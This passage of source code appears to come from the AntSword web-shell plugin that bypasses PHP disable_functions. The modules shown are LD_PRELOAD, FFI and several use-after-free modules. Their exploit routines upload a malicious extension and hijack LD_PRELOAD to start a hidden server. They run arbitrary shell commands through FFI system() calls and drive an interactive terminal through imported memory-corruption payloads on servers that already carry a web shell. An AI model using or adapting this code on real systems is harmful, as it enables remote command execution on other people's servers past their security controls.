149 | ], true);
150 | return form;
151 | }
152 |
153 | // 执行EXP, 必须有这个函数
154 | exploit() {
155 | let self = this;
156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
157 | if (self.form.validate()) {
158 | self.cell.progressOn();
159 | let core = self.top.core;
160 | let formvals = self.form.getValues();
161 | let phpbinary = formvals['phpbinary'];
162 | let webrootdir = formvals['webrootdir'];
163 | // 生成 ext
164 | let wdir = "";
165 | if (self.isOpenBasedir) {
166 | for (var v in self.top.infodata.open_basedir) {
167 | if (self.top.infodata.open_basedir[v] == 1) {
168 | if (v == self.top.infodata.phpself) {
169 | wdir = v;
170 | } else {
171 | wdir = v;
172 | }
173 | break;
174 | }
175 | };
176 | } else {
177 | wdir = self.top.infodata.temp_dir;
178 | }
179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
180 | let fileBuffer = self.generateExt(cmd);
181 | if (!fileBuffer) {
182 | toastr.warning(LD_PRELOAD_LANG['msg']['genext_err'], LANG_T["warning"]);
183 | self.cell.progressOff();
184 | return
185 | }
186 |
187 | new Promise((res, rej) => {
188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
189 | // 上传 ext
190 | core.request(
191 | core.filemanager.upload_file({
192 | path: ext_path,
193 | content: fileBuffer
194 | })
195 | ).then((response) => {
196 | var ret = response['text'];
197 | if (ret === '1') {
198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
199 | res(ext_path);
200 | } else {
201 | rej("upload extension fail");
202 | }
203 | }).catch((err) => {
204 | rej(err)
205 | });
206 | }).then((p) => {
207 | // 触发 payload, 会超时
208 | var payload = `error_reporting(E_ALL);putenv("LD_PRELOAD=${p}");error_log("a", 1);echo(1);`;
209 | core.request({
210 | _: payload,
211 | }).then((response) => {
212 |
213 | }).catch((err) => {
214 | // 超时也是正常
215 | })
216 | }).then(() => {
217 | // 验证是否成功开启
218 | var payload = `sleep(1);
219 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
220 | if(!$fp){
221 | echo(0);
222 | }else{
223 | echo(1);
224 | @fclose($fp);
225 | };`
226 | core.request({
227 | _: payload,
228 | }).then((response) => {
229 | var ret = response['text'];
230 | if (ret === '1') {
231 | toastr.success(LANG['success'], LANG_T['success']);
232 | self.form.setItemLabel('status_label', `New WebServer Listen`);
233 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
234 | self.uploadProxyScript("127.0.0.1", port);
235 | self.cell.progressOff();
236 | } else {
237 | self.cell.progressOff();
238 | throw ("exploit fail");
239 | }
240 | }).catch((err) => {
241 | self.cell.progressOff();
242 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
243 | });
244 | }).catch((err) => {
245 | self.cell.progressOff();
246 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
247 | });
248 | } else {
249 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
250 | }
251 | return;
252 | }
253 | }
254 |
255 | function references(name, value) {
256 | let refs = {
257 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/",
258 | "AntSword-Labs/bypass_disable_functions/4/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/4/",
259 | };
260 | let ret = "";
261 | Object.keys(refs).map((k) => {
262 | ret += `${k}`;
263 | })
264 | return ``;
265 | }
266 | module.exports = LD_PRELOAD;
--------------------------------------------------------------------------------
/core/php74_ffi/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | let PHP74_FFI_LANG = LANG['core']['php74_ffi'];
8 |
9 | class PHP74_FFI extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.infodata = {
21 | ver: this.top.infodata.ver,
22 | ffi: false,
23 | ffi_enable: "",
24 | };
25 | this.cell = cell;
26 | this.form = this.createForm(this.cell);
27 | }
28 |
29 | // 提前检测
30 | precheck() {
31 | let self = this;
32 | let infodata = self.top.infodata;
33 | // if (infodata.os.toLowerCase() !== "linux") {
34 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
35 | // return false;
36 | // }
37 | // if (!self.CompVersion("7.4", infodata.ver)) {
38 | // toastr.error(PHP74_FFI_LANG['err']['phpvererr'], LANG_T['error']);
39 | // return false;
40 | // }
41 | // 检查 ffi 扩展
42 |
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP74_FFI_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP74_FFI_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "label",
72 | label: `${PHP74_FFI_LANG['status_cell']['ffi']}`,
73 | },
74 | {
75 | type: "label",
76 | label: `${PHP74_FFI_LANG['status_cell']['ffi_enable']}`,
77 | },
78 | {
79 | type: "newcolumn"
80 | },
81 | {
82 | type: "label",
83 | label: `${antSword.noxss(self.infodata['ver'])}`,
84 | },
85 | {
86 | type: "label",
87 | label: `${antSword.noxss(self.infodata['ffi'] === true ?'YES':'NO')}`,
88 | },
89 | {
90 | type: "label",
91 | label: `${antSword.noxss(self.infodata['ffi_enable'] === '1' ?'YES': (self.infodata['ffi_enable'] === '' ? 'No': self.infodata['ffi_enable']))}`,
92 | }
93 | ],
94 | }]
95 | },
96 | {
97 | type: 'block',
98 | labelWidth: 100,
99 | inputWidth: 'auto',
100 | className: "display: flex;flex-direction: row;align-items: center;",
101 | list: [{
102 | type: 'label',
103 | label: '',
104 | name: 'status_label'
105 | }, {
106 | type: 'newcolumn',
107 | offset: 20
108 | }, {
109 | type: 'label',
110 | label: '',
111 | name: 'status_msg'
112 | }, ]
113 | },
114 | {
115 | type: 'block',
116 | inputWidth: 'auto',
117 | list: [{
118 | type: 'template',
119 | label: "Reference",
120 | style: "width:100%;",
121 | format: references
122 | }, ]
123 | }
124 | ], true);
125 | return form;
126 | }
127 |
128 | // 执行EXP, 必须有这个函数
129 | exploit() {
130 | let self = this;
131 | self.core = self.top.core;
132 | let _precode = {
133 | _: `$rt = array("ffi" => extension_loaded("ffi"),
134 | "ffi_enable" => ini_get("ffi.enable"),
135 | );
136 | echo json_encode($rt);`
137 | };
138 | new Promise((res, rej) => {
139 | self.core
140 | .request(_precode)
141 | .then((_ret) => {
142 | let _res = antSword.unxss(_ret['text']);
143 | self.infodata = Object.assign(self.infodata, JSON.parse(_res));
144 | self.createForm(self.cell);
145 | res(self.infodata);
146 | }).catch((err) => {
147 | rej(err);
148 | })
149 | }).then(info => {
150 | if (!info.ffi) {
151 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_loaded']);
152 | }
153 | if (info.ffi_enable != "1") {
154 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_enable']);
155 | }
156 | })
157 | .then(() => {
158 | if (self.top.infodata.os.toLowerCase().indexOf("win") > -1) {
159 | new antSword.module.terminal(self.top.opt, {
160 | exec: (arg = {
161 | bin: 'cmd',
162 | cmd: ''
163 | }) => {
164 | return {
165 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
166 | $cmd = "${arg['bin']} /c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\" > ".$tmp;
167 | $ffi = FFI::cdef("int system(const char *command);", "msvcrt");
168 | $ffi->system($cmd);
169 | echo @file_get_contents($tmp);
170 | unlink($tmp);`
171 | }
172 | }
173 | });
174 | } else {
175 | new antSword.module.terminal(self.top.opt, {
176 | exec: (arg = {
177 | bin: '/bin/bash',
178 | cmd: ''
179 | }) => {
180 | return {
181 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
182 | $cmd = "${arg['bin']} -c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\""." > ".$tmp." 2>&1";
183 | $ffi = FFI::cdef("int system(const char *command);");
184 | $ffi->system($cmd);
185 | echo @file_get_contents($tmp);
186 | unlink($tmp);`
187 | }
188 | }
189 | });
190 | }
191 | })
192 | .catch(err => {
193 | toastr.error(`${LANG['error']}: ${err}`, LANG_T['error']);
194 | });
195 |
196 | }
197 | }
198 |
199 | function references(name, value) {
200 | let refs = {
201 | "AntSword-Labs/bypass_disable_functions/8": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/8",
202 | "PHP FFI - 一种全新的PHP扩展方式": "https://www.laruence.com/2020/03/11/5475.html",
203 | "RCTF2019Web题解之nextphp": "https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp",
204 | };
205 | let ret = "";
206 | Object.keys(refs).map((k) => {
207 | ret += `${k}`;
208 | })
209 | return ``;
210 | }
211 |
212 | module.exports = PHP74_FFI;
--------------------------------------------------------------------------------
/core/php7_backtrace_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_Backtrace_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_Backtrace_UAF_LANG = LANG['core']['php7_backtrace_uaf'];
11 |
12 | class PHP7_Backtrace_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.0" &&
39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3" && infodata.ver != "7.4") {
40 | toastr.error(PHP7_Backtrace_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | return false;
42 | }
43 | // TODO: 检查详细版本号
44 | return true;
45 | }
46 |
47 | createForm(cell) {
48 | let self = this;
49 | let form = cell.attachForm([{
50 | type: 'settings',
51 | position: 'label-left',
52 | labelWidth: 100,
53 | inputWidth: 300,
54 | }, {
55 | type: 'block',
56 | inputWidth: 'auto',
57 | list: [{
58 | type: 'label',
59 | labelWidth: 300,
60 | label: PHP7_Backtrace_UAF_LANG['title']
61 | }, {
62 | type: 'block',
63 | inputWidth: 'auto',
64 | list: [{
65 | type: 'settings'
66 | },
67 | {
68 | type: "label",
69 | label: `${PHP7_Backtrace_UAF_LANG['status_cell']['ver']}`,
70 | },
71 | {
72 | type: "newcolumn"
73 | },
74 | {
75 | type: "label",
76 | labelWidth: 300,
77 | label: `7.0 - all versions to date`,
78 | },
79 | {
80 | type: "label",
81 | labelWidth: 300,
82 | label: `7.1 - all versions to date`,
83 | },
84 | {
85 | type: "label",
86 | labelWidth: 300,
87 | label: `7.2 - all versions to date`,
88 | },
89 | {
90 | type: "label",
91 | labelWidth: 300,
92 | label: `7.3 < 7.3.15 (released 20 Feb 2020)`,
93 | },
94 | {
95 | type: "label",
96 | labelWidth: 300,
97 | label: `7.4 < 7.4.3 (released 20 Feb 2020)`,
98 | },
99 | ],
100 | }]
101 | },
102 | {
103 | type: 'block',
104 | labelWidth: 100,
105 | inputWidth: 'auto',
106 | className: "display: flex;flex-direction: row;align-items: center;",
107 | list: [{
108 | type: 'label',
109 | label: '',
110 | name: 'status_label'
111 | }, {
112 | type: 'newcolumn',
113 | offset: 20
114 | }, {
115 | type: 'label',
116 | label: '',
117 | name: 'status_msg'
118 | }, ]
119 | },
120 | {
121 | type: 'block',
122 | inputWidth: 'auto',
123 | list: [{
124 | type: 'template',
125 | label: "Reference",
126 | style: "width:100%;",
127 | format: references
128 | }, ]
129 | }
130 | ], true);
131 | return form;
132 | }
133 |
134 | // 执行EXP, 必须有这个函数
135 | exploit() {
136 | let self = this;
137 | self.core = self.top.core;
138 | let binary = '/bin/sh'
139 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
140 | binary = 'cmd'
141 | }
142 | new antSword.module.terminal(self.top.opt, {
143 | exec: (arg = {
144 | bin: binary,
145 | cmd: ''
146 | }) => {
147 | return {
148 | _: PHP7_Backtrace_UAF_EXP(arg['bin'], arg['cmd']),
149 | }
150 | }
151 | });
152 | }
153 | }
154 |
155 | function references(name, value) {
156 | let refs = {
157 | "AntSword-Labs/bypass_disable_functions/9": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/9",
158 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass",
159 | "Bug #76047 Use-after-free when accessing already destructed backtrace arguments": "https://bugs.php.net/bug.php?id=76047",
160 | };
161 | let ret = "";
162 | Object.keys(refs).map((k) => {
163 | ret += `${k}`;
164 | })
165 | return ``;
166 | }
167 |
168 | module.exports = PHP7_Backtrace_UAF;
--------------------------------------------------------------------------------
/core/php7_gc_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_GC_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_GC_UAF_LANG = LANG['core']['php7_gc_uaf'];
11 |
12 | class PHP7_GC_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.0" &&
39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
40 | toastr.error(PHP7_GC_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | return false;
42 | }
43 | // TODO: 检查详细版本号
44 | return true;
45 | }
46 |
47 | createForm(cell) {
48 | let self = this;
49 | let form = cell.attachForm([{
50 | type: 'settings',
51 | position: 'label-left',
52 | labelWidth: 100,
53 | inputWidth: 300,
54 | }, {
55 | type: 'block',
56 | inputWidth: 'auto',
57 | list: [{
58 | type: 'label',
59 | labelWidth: 300,
60 | label: PHP7_GC_UAF_LANG['title']
61 | }, {
62 | type: 'block',
63 | inputWidth: 'auto',
64 | list: [{
65 | type: 'settings'
66 | },
67 | {
68 | type: "label",
69 | label: `${PHP7_GC_UAF_LANG['status_cell']['ver']}`,
70 | },
71 | {
72 | type: "newcolumn"
73 | },
74 | {
75 | type: "label",
76 | labelWidth: 300,
77 | label: `7.0 - all versions to date`,
78 | },
79 | {
80 | type: "label",
81 | labelWidth: 300,
82 | label: `7.1 - all versions to date`,
83 | },
84 | {
85 | type: "label",
86 | labelWidth: 300,
87 | label: `7.2 - all versions to date`,
88 | },
89 | {
90 | type: "label",
91 | labelWidth: 300,
92 | label: `7.3 - all versions to date`,
93 | },
94 | ],
95 | }]
96 | },
97 | {
98 | type: 'block',
99 | labelWidth: 100,
100 | inputWidth: 'auto',
101 | className: "display: flex;flex-direction: row;align-items: center;",
102 | list: [{
103 | type: 'label',
104 | label: '',
105 | name: 'status_label'
106 | }, {
107 | type: 'newcolumn',
108 | offset: 20
109 | }, {
110 | type: 'label',
111 | label: '',
112 | name: 'status_msg'
113 | }, ]
114 | },
115 | {
116 | type: 'block',
117 | inputWidth: 'auto',
118 | list: [{
119 | type: 'template',
120 | label: "Reference",
121 | style: "width:100%;",
122 | format: references
123 | }, ]
124 | }
125 | ], true);
126 | return form;
127 | }
128 |
129 | // 执行EXP, 必须有这个函数
130 | exploit() {
131 | let self = this;
132 | self.core = self.top.core;
133 | let binary = '/bin/sh'
134 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
135 | binary = 'cmd'
136 | }
137 | new antSword.module.terminal(self.top.opt, {
138 | exec: (arg = {
139 | bin: binary,
140 | cmd: ''
141 | }) => {
142 | return {
143 | _: PHP7_GC_UAF_EXP(arg['bin'], arg['cmd']),
144 | }
145 | }
146 | });
147 | }
148 | }
149 |
150 | function references(name, value) {
151 | let refs = {
152 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7",
153 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass",
154 | "Bug #72530 Use after free in GC with Certain Destructors": "https://bugs.php.net/bug.php?id=72530",
155 | };
156 | let ret = "";
157 | Object.keys(refs).map((k) => {
158 | ret += `${k}`;
159 | })
160 | return ``;
161 | }
162 |
163 | module.exports = PHP7_GC_UAF;
--------------------------------------------------------------------------------
/core/php7_reflectionproperty_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_ReflectionProperty_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_ReflectionProperty_UAF_LANG = LANG['core']['php7_reflectionproperty_uaf'];
11 |
12 | class PHP7_ReflectionProperty_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.4") {
39 | toastr.error(PHP7_ReflectionProperty_UAF_LANG['err']['phpvererr'], LANG_T['error']);
40 | return false;
41 | }
42 | // TODO: 检查详细版本号
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP7_ReflectionProperty_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP7_ReflectionProperty_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.4 <= 7.4.8`,
77 | },
78 | ],
79 | }]
80 | },
81 | {
82 | type: 'block',
83 | labelWidth: 100,
84 | inputWidth: 'auto',
85 | className: "display: flex;flex-direction: row;align-items: center;",
86 | list: [{
87 | type: 'label',
88 | label: '',
89 | name: 'status_label'
90 | }, {
91 | type: 'newcolumn',
92 | offset: 20
93 | }, {
94 | type: 'label',
95 | label: '',
96 | name: 'status_msg'
97 | }, ]
98 | },
99 | {
100 | type: 'block',
101 | inputWidth: 'auto',
102 | list: [{
103 | type: 'template',
104 | label: "Reference",
105 | style: "width:100%;",
106 | format: references
107 | }, ]
108 | }
109 | ], true);
110 | return form;
111 | }
112 |
113 | // 执行EXP, 必须有这个函数
114 | exploit() {
115 | let self = this;
116 | self.core = self.top.core;
117 | new antSword.module.terminal(self.top.opt, {
118 | exec: (arg = {
119 | bin: '/bin/bash',
120 | cmd: ''
121 | }) => {
122 | return {
123 | _: PHP7_ReflectionProperty_UAF_EXP(arg['bin'], arg['cmd']),
124 | }
125 | }
126 | });
127 | }
128 | }
129 |
130 | function references(name, value) {
131 | let refs = {
132 | "2020YCBCTF/Break_the_Wall": "https://github.com/gwht/2020YCBCTF/tree/main/wp/web/break_the_wall",
133 | "Bug #79820 Use after free when type duplicated into ReflectionProperty gets resolved": "https://bugs.php.net/bug.php?id=79820",
134 | };
135 | let ret = "";
136 | Object.keys(refs).map((k) => {
137 | ret += `${k}`;
138 | })
139 | return ``;
140 | }
141 |
142 | module.exports = PHP7_ReflectionProperty_UAF;
--------------------------------------------------------------------------------
/core/php7_userfilter/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_UserFilter_EXP
9 | } = require('../../payload');
10 | let PHP7_USERFILTER_LANG = LANG['core']['php7_userfilter'];
11 |
12 | class PHP7_UserFilter extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | // if (infodata.os.toLowerCase() !== "linux") {
35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | // return false;
37 | // }
38 | // if (infodata.ver != "7.0" &&
39 | // infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
40 | // toastr.error(PHP7_USERFILTER_LANG['err']['phpvererr'], LANG_T['error']);
41 | // return false;
42 | // }
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP7_USERFILTER_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP7_USERFILTER_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.0 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.1 - all versions to date`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `7.2 - all versions to date`,
87 | },
88 | {
89 | type: "label",
90 | labelWidth: 300,
91 | label: `7.3 - all versions to date`,
92 | },
93 | {
94 | type: "label",
95 | labelWidth: 300,
96 | label: `7.4 - all versions to date`,
97 | },
98 | {
99 | type: "label",
100 | labelWidth: 300,
101 | label: `8.0 - all versions to date`,
102 | }
103 | ],
104 | }]
105 | },
106 | {
107 | type: 'block',
108 | labelWidth: 100,
109 | inputWidth: 'auto',
110 | className: "display: flex;flex-direction: row;align-items: center;",
111 | list: [{
112 | type: 'label',
113 | label: '',
114 | name: 'status_label'
115 | }, {
116 | type: 'newcolumn',
117 | offset: 20
118 | }, {
119 | type: 'label',
120 | label: '',
121 | name: 'status_msg'
122 | }, ]
123 | },
124 | {
125 | type: 'block',
126 | inputWidth: 'auto',
127 | list: [{
128 | type: 'template',
129 | label: "Reference",
130 | style: "width:100%;",
131 | format: references
132 | }, ]
133 | }
134 | ], true);
135 | return form;
136 | }
137 |
138 | // 执行EXP, 必须有这个函数
139 | exploit() {
140 | let self = this;
141 | self.core = self.top.core;
142 | let binary = '/bin/sh'
143 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
144 | binary = 'cmd'
145 | }
146 | new antSword.module.terminal(self.top.opt, {
147 | exec: (arg = {
148 | bin: binary,
149 | cmd: ''
150 | }) => {
151 | return {
152 | _: PHP7_UserFilter_EXP(arg['bin'], arg['cmd']),
153 | }
154 | }
155 | });
156 | }
157 | }
158 |
159 | function references(name, value) {
160 | let refs = {
161 | "PHP 7.0-8.0 user_filter bypass": "https://github.com/mm0r1/exploits/tree/master/php-filter-bypass",
162 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7",
163 | "Bug #54350 Memory corruption with user_filter": "https://bugs.php.net/bug.php?id=54350",
164 | };
165 | let ret = "";
166 | Object.keys(refs).map((k) => {
167 | ret += `${k}`;
168 | })
169 | return ``;
170 | }
171 |
172 | module.exports = PHP7_UserFilter;
--------------------------------------------------------------------------------
/core/php_concat_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP_CONCAT_UAF_EXP
9 | } = require('../../payload');
10 | let PHP_CONCAT_UAF_LANG = LANG['core']['php_concat_uaf'];
11 |
12 | class PHP_Concat_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | // if (infodata.os.toLowerCase() !== "linux") {
35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | // return false;
37 | // }
38 | // if (infodata.ver != "7.3" &&
39 | // infodata.ver != "7.4" && infodata.ver != "8.0" && infodata.ver != "8.1") {
40 | // toastr.error(PHP_CONCAT_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | // return false;
42 | // }
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP_CONCAT_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP_CONCAT_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.3 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.4 - all versions to date`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `8.0 - all versions to date`,
87 | },
88 | {
89 | type: "label",
90 | labelWidth: 300,
91 | label: `8.1 - all versions to date`,
92 | }
93 | ],
94 | }]
95 | },
96 | {
97 | type: 'block',
98 | labelWidth: 100,
99 | inputWidth: 'auto',
100 | className: "display: flex;flex-direction: row;align-items: center;",
101 | list: [{
102 | type: 'label',
103 | label: '',
104 | name: 'status_label'
105 | }, {
106 | type: 'newcolumn',
107 | offset: 20
108 | }, {
109 | type: 'label',
110 | label: '',
111 | name: 'status_msg'
112 | }, ]
113 | },
114 | {
115 | type: 'block',
116 | inputWidth: 'auto',
117 | list: [{
118 | type: 'template',
119 | label: "Reference",
120 | style: "width:100%;",
121 | format: references
122 | }, ]
123 | }
124 | ], true);
125 | return form;
126 | }
127 |
128 | // 执行EXP, 必须有这个函数
129 | exploit() {
130 | let self = this;
131 | self.core = self.top.core;
132 | let binary = '/bin/sh'
133 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
134 | binary = 'cmd'
135 | }
136 | new antSword.module.terminal(self.top.opt, {
137 | exec: (arg = {
138 | bin: binary,
139 | cmd: ''
140 | }) => {
141 | return {
142 | _: PHP_CONCAT_UAF_EXP(arg['bin'], arg['cmd']),
143 | }
144 | }
145 | });
146 | }
147 | }
148 |
149 | function references(name, value) {
150 | let refs = {
151 | "PHP 7.3-8.1 disable_functions bypass [concat_function]": "https://github.com/mm0r1/exploits/tree/master/php-concat-bypass",
152 | "Bug #81705 type confusion/UAF on set_error_handler with concat operation": "https://bugs.php.net/bug.php?id=81705",
153 | };
154 | let ret = "";
155 | Object.keys(refs).map((k) => {
156 | ret += `${k}`;
157 | })
158 | return ``;
159 | }
160 |
